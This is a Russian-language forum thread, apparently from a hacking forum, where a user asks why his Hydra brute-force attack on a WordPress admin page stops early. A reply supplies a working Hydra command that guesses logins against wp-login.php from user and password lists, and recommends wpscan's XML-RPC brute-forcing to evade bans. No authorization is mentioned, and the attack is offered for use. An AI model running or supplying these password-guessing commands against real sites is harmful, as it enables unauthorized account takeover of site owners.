Hydra HTTP Base Auth Brutforce

24.01.2020, 14:15

QwertyLol

Новичок

Регистрация: 24.01.2020

Сообщений: 2

С нами: 3318806

Репутация: 0

Привет всем , собственно стартуем с такой команды "hydra -l admin -x 4:8:0123456789 -s 443 -f ( domain host) https-get /wp-admin"и старт заканчивается на первых цифрах .говорит что пароль найден , но он не верен , по всей видимости он сам останавливается по каким-то причинам . Пробовал также ставить количество задач и тайм опциями -t -w но не помогало . подскажите как начать нормально брутить

𝕏 Twitter Reddit Telegram Копировать ссылку

24.01.2020, 16:26

Lestatkiy

Познающий

Регистрация: 27.09.2010

Сообщений: 50

С нами: 8223446

Репутация: 5

В гугле полно ответов по поводу брута wp, вот один из примеров:

hydra -L lists/usrname.txt -P lists/pass.txt localhost -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'

Но гидра быстро получит бан, используй wp xmlrpc для брута, он есть в "wpscan" https://github.com/wpscanteam/wpscan

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.